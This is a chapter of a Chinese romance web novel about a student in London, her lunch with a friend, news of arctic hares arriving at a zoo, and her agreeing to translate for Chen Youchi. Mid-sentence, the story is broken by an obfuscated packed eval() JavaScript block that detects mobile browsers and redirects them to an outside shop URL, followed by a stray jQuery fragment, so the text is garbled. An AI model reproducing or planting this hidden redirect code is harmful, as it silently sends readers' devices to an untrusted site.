飞机在伦市落地时，冬末的雨正贴着舷窗往下流。
舱门打开，潮湿的冷气灌进廊桥。临港的烟花和新年便停在了半个地球之外，没有留下过渡。
姜忆梨开始准备考试。
她每天往返于学校和图书馆，偶尔凌晨才回来。书桌上的参考书越堆越高，便签、打印论文和写满批注的草稿散得到处都是。
毕业论文的方向也逐渐确定下来。
她研究跨文化语境中的语义偏差。语言离开说话的人，经过转译，会怎样偏离原意，又被接收者理解成另一件事。
临港调来的厨师已经住进了房子。
一日三餐比从前合胃口太多，可考试周的压力仍旧让她吃不下多少东西。年前刚刚被外公念叨过的体重，回来以后也没有明显增长。
而陈宥池前所未有地忙碌了起来。
这种忙碌并不是通过言语告知的，陈宥池从不向她交代行程。
它是通过玄关处长时间空荡的鞋架、餐厅里永远只摆放着的一份餐具，以及深夜寂静的走廊传达出来的。
还有二楼临街的那扇窗。
从前姜忆梨晚归，走到门前总会下意识抬头。
大多数时候，那里亮着灯，暖黄色的一小格，从伦市长久不散的雾气里透出来，现在却常常是黑的。
陈宥池开始很晚才回来。
有时候姜忆梨半夜起床倒水，才会听见楼下极轻的开门声。
第二天早晨她起床的时候，他又已经离开，两个人明明住在同一栋房子里，竟然可以连续几天见不到一面。
姜忆梨不知道陈宥池在忙什么，或许是他屏幕上跳动的数据出现了不可控的波动，或许是周齐越提到的复杂的国际港口手续出了差错，又或许......仅仅是因为，陈宥池不再需要维持互相照应的假象。
毕竟，没有了外公的注视，陈宥池便可以理所应当、且毫无负累地从姜忆梨的生活里撤离。
姜忆梨事实上是庆幸的。
在陈宥池的缺席里，她度过了一个相对安然的考试周，获得了会让所有人都满意的成绩。
所有成绩都公布的时候，已然是二月中旬。
姜忆梨走出图书馆，看见被铅灰色云层压得很低的泰晤士河。
今天她和岑矜约了饭，两人都终于忙完，可以见一面。
岑矜是姜忆梨在伦市唯一的朋友，她也是临港人，出生在临港的一个中产家庭，她的性格和名字相反，活泼又细腻。
两人是这个专业唯二的来自临港的人，又恰巧都是女生，也十分投缘，便成了朋友。
岑矜约在玛街。
这一带的红砖墙在二月的雨水里被浸泡成了深沉的暗赭色。
街角著名的丹特书店依旧亮着暖黄色的灯，像是一座在浓雾中固执守候的灯塔。
姜忆梨收起黑色的长柄雨伞，推开餐厅厚重的木门时，风铃发出一声清脆的颤音，将身后泰晤士河的冷意彻底切断。
岑矜已经坐在了餐厅深处的一个靠窗位，正低头翻看着菜单。
她今天穿了一件柔软的燕麦色大衣，长发柔顺地披在肩头。
姜忆梨走到她对面坐下。
“考试都结束了吧？”岑矜把菜单推过去，“你脸色怎么这么差，最近没睡觉吗？”
“睡了。”姜忆梨解开大衣纽扣，在她对面坐下，“都考完了，成绩也还好。”
岑矜盯了她两秒，没有追问，转而双手合十：“我还没好好谢你。上次那袋杏仁饼，我前两天刚吃完。我跟我妈视频，她听见牌子就说是老味道。你带着它们飞这么远，太辛苦了。”
姜忆梨笑了笑，露出一点真切的弧度：“你喜欢就好，不用那么客气。”
两人点了海鲜意面和伯爵茶。
餐厅里放着很轻的爵士乐，隔壁桌有人在讨论周末的电影，门口时不时进来一两个被雨淋湿的客人。
这种琐碎、普通，又没有任何人需要揣摩的生活气息，让姜忆梨难得放松。
直到岑矜端起柠檬水，随口问了一句：“你还住在贝街那边吗？”
姜忆梨点点头：“嗯，没搬。”
“那边环境是真的好，就是租金太夸张，住在那里的通常非富即贵。”
岑矜单手托着腮，语气里带了一点亲近的埋怨。
“讲真的，小梨，这学期我都带你去过我那儿好多次了，回回都给你煮火锅。你倒好，从来都不肯带我去你家坐坐。”
岑矜租住在帕区的一处小公寓里，虽不豪华，却被她布置得非常温馨，满是生活的痕迹，和姜忆梨住的那栋维多利亚式的冷清建筑完全不同。
“我都好奇死了，想看看你到底住的是什么样的豪宅，能让你这么雷打不动地守在那儿，连我这个好朋友都进不去大门。”岑矜盯着姜忆梨，开玩笑地眨眨眼。
姜忆梨握着水杯的手指紧了紧。
她垂下眼睫，看着透明杯壁上挂着的细小水珠，神色间流露出一丝不易察觉的为难。
“也不是不想带你去。”姜忆梨有些含糊地开口，“只是......我那个合租的室友，脾气比较怪，话也不多。”
“室友？”
岑矜敏锐地挑了挑眉。
“嗯。”姜忆梨轻声解释，“他这个人很讲究规矩，平时比较喜欢安静，不太欢迎外人去家里拜访。我怕带人回去，会打扰到他休息。”
“那确实挺麻烦的。”
岑矜同情地叹了口气，大概是脑补出一个古板的老学究，或者性格孤僻的当地人。
“那种住在老区的人，通常都有些自视甚高的怪脾气。看来你在那边住得也不容易，整天还要看人眼色。难怪你总是泡在图书馆里，不爱回去。”
姜忆梨因为好友这样形容陈宥池，而产生了些许内疚。
“......也没有很麻烦。”她尝试补救，“他其实挺好的，也很照顾我。”
岑矜也不知道信了多少，敷衍地点点头。
这时餐食端了上来，姜忆梨没有了再辩解的机会。
海鲜意面上方升腾的白烟里裹着浓郁的罗勒和海鲜香气。
姜忆梨低头，用银叉卷起几根面条。
“哎，对了。”岑矜像是突然想起什么，看向姜忆梨，“小梨，你还记不记得，上学期我们去动物园看的那几只北极兔？我记得你很喜欢它们。”
姜忆梨的脑海里划过蓝色教材页脚的涂鸦，还有陈宥池在书房里夹住那本书时的力度。
“记得。”她轻声说，“怎么突然提起它？”
“我前两天刷临港新闻看见的。”
岑矜兴致一下起来。
“临港动物园不是新建了一个极地馆吗？”
姜忆梨的叉子停住：“什么？”
“你没看新闻？”岑矜拿出手机，准备翻给她看，“盛泰赞助的。”
“好像是去年年底开始改造的，最近第一批动物才陆续到。除了北极熊，还有北极狐、雪鸮......”
岑矜抬起头，故意停顿了一下：
“以及你的北极兔。”
姜忆梨的嘴唇动了动，没能说出话来。
“真的。”岑矜以为她是不信，笑着接着说，“好几只。我看新闻照片，和我们在伦市看的差不多，特别圆。”
她还在说什么。
姜忆梨却已经听得有些不真切。
她想起陈宥池那天在书房，指尖按在书页边缘，漫不经心地说：“临港的动物园没有北极兔，等回去以后我去提个建议。”
姜忆梨只觉得有些喘不过气。
有时，她真的希望陈宥池像传闻中那样冷漠、傲慢、高高在上。
可不可以不要像这样。
做这种莫名其妙的事情。
不要让她因为一群自己随口说过喜欢的兔子，在一个普通的午后，心跳失速到这样的程度，惶然揣摩他的用意。
姜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17929220|213573||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
忆梨又开始替这件事寻找一个更加合理的解释。
盛泰本来就有长期赞助临港动物园的项目，极地馆也不可能因为陈宥池随口一句话才凭空出现。
也许只是巧合，也许园方原本就有引进北极兔的计划，他所谓的“提个建议”，不过是顺水推舟。
岑矜没察觉到姜忆梨的异样，仍旧兴致勃勃地计划着：“极地馆下个月就正式开放了，等我们毕业回临港，一定要再去看看。在伦市看那是异国他乡，回了家看才更有意思嘛，你说是不是？”
姜忆梨看着盘子里剩下的酱汁，浓郁的颜色在白瓷面上留下了弯弯绕绕的痕迹。
“好啊。”她回过神来，笑了笑，“等回去了，我们一起去。”
“小梨，你怎么不吃啦？”岑矜看着她，“这个面味道不错的，趁热吃哦。”
“没。”姜忆梨重新拿起叉子，机械地将剩下的面条卷起。
岑矜又聊起了一些伦市的购物折扣和毕业旅行的计划。
姜忆梨耐心地听着，偶尔轻声应和。
唯独那几只北极兔，始终没有真正从脑海离开。
午饭最后是岑矜结的账，她坚持说是为了感谢那袋跨越半个地球的杏仁饼。
两人在书店门口告别，岑矜还要去帕区的超市买些生活用品。
“回见啊小梨，别总闷在家里，那个古板室友要是太难搞，你就给我打电话。”
岑矜挥着手，身影很快消失在玛街错落的人潮里。
姜忆梨撑起伞，她坐上回贝街的巴士。
在这一晚，她还意料之外地接到了陈董的电话。
彼时，她正坐在起居室的地毯上，整理毕业论文所需要的文献。
电话那头，陈董的声音穿过大洋，仍然温厚：“小梨，伦市那边冷不冷？”
姜忆梨放下笔，轻声回应：“外公，不冷的，家里很暖。”
两人聊了一会儿琐事，陈董才把话题转到了陈宥池身上。
“宥池这段时间，是不是很忙？”老人的语气里透出一点无奈。
姜忆梨顿了顿，模棱两可地说：“嗯，宥池哥最近经常回来的很晚。”
“他是遇到点麻烦了。”陈董隔着听筒叹了口气，“盛泰的航道出了点纠纷，涉及几个东南亚的家族，手续和法律文书都很复杂。原本一直跟着他的翻译助理上周突然辞职了，听说是被对头挖走的。”
姜忆梨指尖蜷了一下，没说话。
“那种位置，经手的都是核心数据。现在临时去找外面的翻译公司，宥池不放心，我也不放心。”陈董停顿了片刻，试探着问，“小梨，外公记得你这个学期的课程不多了？如果考试都考完了，你愿不愿意......去帮帮他？”
窗外，伦市的一点残阳正缓慢地沉入浓雾。
姜忆梨盯着逐渐消逝的光亮，心脏有些滞涩地跳动着。
“外公，我......”
“我知道商务翻译很辛苦。”陈董温声截断了她的迟疑，“但宥池现在的处境恐怕......不算很好。他在伦市那些项目，盯着的人太多。如果能有个知根知底、自己家里的人在身边帮忙，我在这边也能睡得安稳些。”
“况且，小梨，你不是想做这方面的工作吗？”陈董继续说，“到时候让宥池给你开个实习证明，盖上盛泰的公章。等你毕业回临港，这份履历比什么金牌证书都好使。”
所有话都替她想好了，既不是单纯求她帮忙，也没有让她觉得自己在接受新的恩惠。
甚至连未来的履历，都替她找到了一个足够体面的理由。
可其实他根本不需要说这么多。
只要告诉她陈宥池现在需要人帮忙，她大概就已经拒绝不了。
姜忆梨垂下眼，钢笔横在论文标题上，她已经在北极兔的新闻面前失过一次分寸，却还是没能说出拒绝。
“好的，外公。”她听见自己的声音，“如果宥池哥需要，我去试试。”